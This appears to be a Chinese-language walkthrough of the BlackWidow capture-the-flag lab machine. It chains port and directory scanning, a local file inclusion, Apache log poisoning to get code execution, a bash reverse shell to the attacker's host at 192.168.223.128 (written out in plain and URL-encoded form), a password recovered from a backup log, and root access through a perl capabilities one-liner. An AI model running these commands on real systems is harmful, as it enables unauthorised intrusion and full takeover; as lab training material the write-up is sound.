BlackWidow靶场

kali：192.168.223.128

主机发现

nmap -sP 192.168.223.0/24

目标IP:192.168.223.153

端口扫描

nmap -sV -p- -A 192.168.223.153

22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs      3-4 (RPC #100003)
40703/tcp open  mountd   1-3 (RPC #100005)
41361/tcp open  nlockmgr 1-4 (RPC #100021)
57993/tcp open  mountd   1-3 (RPC #100005)
60003/tcp open  mountd   1-3 (RPC #100005)

先看web，只有一张图片

目录扫描

gobuster dir -u http://192.168.223.153 -x html,txt,php,bak,zip --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

有个company目录，进入看看

源码里面有个php文件

上面提示文件还包含的参数是file

测试一下

目录穿越成功LFI

之前端口扫描的时候80端口是apache服务，那么可以利用apache日志包含来进行rce

apache2日志目录在/var/log/apache2/access.log

可以看到确实能读取日志文件

抓个包把Agent改成一句话

然后反弹个shell，注意get传参url编码

1=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.223.128%2F4567%20%200%3E%261'

编码前1=bash -c 'bash -i >& /dev/tcp/192.168.223.128/4567  0>&1'

然后就是翻敏感信息

home下只有一个用户viper

在备份文件夹下面有个auth.log

找到viper的密码 ?V1p3r2020!?

成功连上

找到第一个flag

继续翻文件，翻了一圈没什么常规的提权手段，用工具linpeas.sh扫描

好像可以capabilities提权

是个perl程序

搜索相关exp

linux系统利用可执行文件的Capabilities实现权限提升_capabilities提权-CSDN博客

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

./arsenic -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

成功提升到root权限拿到flag

总结:1.apache日志包含RCE

        2.敏感信息查找

        3.capabilities perl提权